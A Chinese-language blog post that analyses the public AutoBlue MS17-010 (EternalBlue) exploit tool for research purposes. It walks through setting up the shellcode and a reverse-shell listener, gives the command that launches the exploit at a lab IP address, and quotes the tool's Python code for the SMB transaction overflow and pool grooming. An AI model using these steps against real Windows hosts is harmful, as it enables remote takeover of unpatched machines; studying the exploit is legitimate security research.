美文网首页
[工具编写][漏洞研究]MS17-010利用工具分析

[工具编写][漏洞研究]MS17-010利用工具分析

作者: Rixo | 来源:发表于2022-07-05 17:45 被阅读0次

    简述

    由于该漏洞shellcode利用部分没有弄的太明白,于是我准备找一份别人写的工具来看看,别人怎么成功利用的。这份工具的好处在于,支持多个系统版本,坏处在于~蓝屏概率异常高,看来是堆喷射的手法比nsa工具集差远了。不过有源码,所以也是我仅能找到的写法参考工具了。
    工具来源:
    3ndG4me/AutoBlue-MS17-010

    搭建步骤

    监听部分

    1. git 下载工具,然后进入shellcode目录,运行./shell_prep.sh,填ip端口,然后一路选就好了。
    2. 回到主目录,运行./listener_prep.sh,填和shellcode一样的ip端口,同样一路选就好了。

    攻击部分

    1. 进入python虚拟环境(配置搭建教程
      source autoblue-env/bin/activate
    2. 安装所需的模块
      pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
    3. 执行攻击命令
      python eternalblue_exploit7.py 10.211.55.15 ./shellcode/sc_x86_msf.bin

    代码分析

    1. wireshark抓包,过滤规则:
      !(ip.dst == 239.255.255.250) && not arp && not nbns && not ntp && not dns && !(ip.dst == 192.168.32.255) && not dhcpv6 && not mdns && not icmpv6 && not llmnr && ip.dst != 224.0.0.22
    1. 创建smb连接,是NetBIOS会话请求
      conn = smb.SMB(target, target)

    2. 发送一个登录请求,获取UID和操作系统版本,是SMB_COM_SESSION_SETUP_ANDX命令
      conn.login_standard('', '')
      server_os = conn.get_server_os()

    3. 发送SMB_COM_TREE_CONNECT_ANDX请求,获取tid
      tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

    4. 此处比较关键,原理详情,发送除了最后一个触发溢出漏洞的feal结构之外的其他feal数据。
      progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)

    allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)

    sk = createConnectionWithBigSMBFirst80(target)

    holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)

    for i in range(5):
        sk = createConnectionWithBigSMBFirst80(target)
        srvnetConn.append(sk)
    

    send_trans2_second(conn, tid, feaList[progress:], progress)

    ``

    关键点分析

    SMB_COM_NT_TRANSACT和SMB_COM_TRANSACTION2的转换BUG

    相关文章

      网友评论

          本文标题:[工具编写][漏洞研究]MS17-010利用工具分析

          本文链接:https://www.haomeiwen.com/subject/qzlkbrtx.html